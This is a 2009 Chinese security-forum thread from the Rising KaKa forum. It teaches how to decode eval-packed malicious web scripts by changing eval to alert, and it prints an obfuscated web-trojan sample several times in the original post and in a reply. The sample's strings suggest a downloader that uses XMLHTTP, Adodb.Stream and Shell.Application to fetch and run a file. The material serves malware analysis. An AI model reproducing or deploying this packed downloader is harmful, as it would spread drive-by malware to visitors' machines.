瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 网马解密大讲堂——网马解密中级篇(Eval篇)
networkedition - 2009-5-16 20:44:00
卡卡讲堂之网马解密 初级篇
卡卡讲堂之网马解密 中级篇
卡卡讲堂之网马解密 高级篇(swf网马解密)
卡卡讲堂之网马解密 高级篇(pdf网马解密)
1.Freshow解密工具的详细用法
2.网马解密之——Eval篇
3.网马解密之——Document.write篇
4.网马解密之——Alpha2篇
5.网马解密之——Shellcode篇
6.网马解密之——Base64篇
7.网马解密之——US-ASCII篇
8.浅谈eval解密之——工具篇




引用:

一. eval加密是在网马解密中最常见的,eval在jscript脚本中实际上是一个函数,简单可以理解为执行语句的的意思。




  • Eval方法

    参数 :codeString 必选。包含有效 JScript 代码的字符串。eval 函数允许动态执行 JScript 源代码。

2.  eval函数特点:是将字符串转换为脚本代码,然后就可以执行了,但是,如果字符串里面还有HMTL标签的话,它就不能执行了。




引用:

二. Eval解密方法之alert方法:

  • alert函数:

  • 在要对eval解密之前首先需要了解一下alert这个函数,大家可能有个疑问,在解马的过程中怎样才能保证自身系统安全而又不中招呢,我们知道要是直接去访问一些经过加密的网马地址,就相当于在电脑上直接运行了网马。既要能将网马解出,又要保证系统的安全。这时我们就要用到alert这个函数。

  • alert函数在jscript中有弹出消息内容的作用,我们正是可以利用这一特性,来保证在解马的过程中不会中招。请看下面一个小例子:

  • <script>alert("你好!")</script>将此段代码,粘贴至记事本中保存为htm格式(文件名随意),直接运行后可看到alert函数的效果。


用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)
networkedition - 2009-5-16 20:45:00
了解以上内容后,接下来我们来看一个eval的实例:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))


将此段代码复制粘贴至记事本中,将其中的eval修改为alert其余内容不变,但要加上<script></script>实际变为一个脚本。保存为htm(文件名任意)处理后的代码如下:

<script>
alert(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))
</script>




引用:
解密结果见下图,我们看到红色框内容为网马的下载地址,鼠标选中这个对话框,ctrl+a全选再ctrl+c复制,可将整个代码粘贴至记事本上。获得代码地址后,可使用下载工具直接下载网马。


幸福耗子 - 2009-5-16 20:47:00
占楼听课:kaka1:
於陵闲云 - 2009-5-16 20:48:00
排队听课了:kaka12:
kekao - 2009-5-16 22:17:00
这个替换.有时会导致弹出代码不完整的.其实用malzilla解比较省事.
:kaka12:
networkedition - 2009-5-16 22:21:00
是会有这种情况出现,我这里只是提供了一个古老但觉得应该需要讲的方法:kaka12:
艾玛 - 2009-5-20 13:59:00
Malzilla

happysunday2003 - 2009-5-20 23:06:00
问下楼主

那最后解来的那些gameeeeex

是什么意思?
networkedition - 2009-5-21 9:36:00
那些gameeeeex我的理解应该是定义了一些脚本的变量,主要用来网马的执行。网马解密主要是看解密出的网马地址及利用的哪些漏洞,lz如果感兴趣研究网马是如何通过系统漏洞运行起来,可研究一下具体的代码是如何执行的。
Bearboy - 2009-5-28 19:05:00
听课!
kav2046 - 2009-7-16 21:22:00
继续听课!又再次拜读了楼主的文章!
地区性 - 2009-7-20 16:33:00
<script>alert("你好!")</script>
在这个例子中,“你好”前外面有符号("")

为什么在下面那个网马解密的代码中不再有("")?
幽灵楠 - 2009-7-21 10:01:00
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))



用遨游咋显示的是代码?
零度的穷浪漫 - 2009-8-2 15:49:00


引用:
原帖由 地区性 于 2009-7-20 16:33:00 发表
<script>alert("你好!")</script>
在这个例子中,“你好”前外面有符号("")

为什么在下面那个网马解密的代码中不再有("")?

引号内才是要显示的警告框中的内容,学过C的话就会明白这个道理,其中的引号,括号是不会作为内容出现的
零度的穷浪漫 - 2009-8-2 15:50:00
:kaka12: 又学到一点东西:如何将警告框中的内容复制到剪贴板
networkedition - 2009-8-3 9:22:00
需要将eval修改为alert,还有需要在代码开始和结尾需要添加<script></script>标签。
Beloved1988 - 2009-8-29 23:03:00
貌似是这样的 ?

防潮生生世世 - 2010-2-25 12:15:00
eval原来是执行语句的的意思啊
筠林碧湫 - 2010-2-25 13:43:00
好亲切啊看着 再复习一遍
无极御鳞 - 2010-5-10 22:00:00
排队学习..
yalicuan - 2010-7-8 11:32:00
听课
鹰丶风少 - 2010-7-28 12:06:00
又看完一个:kaka9:
1
查看完整版本: 网马解密大讲堂——网马解密中级篇(Eval篇)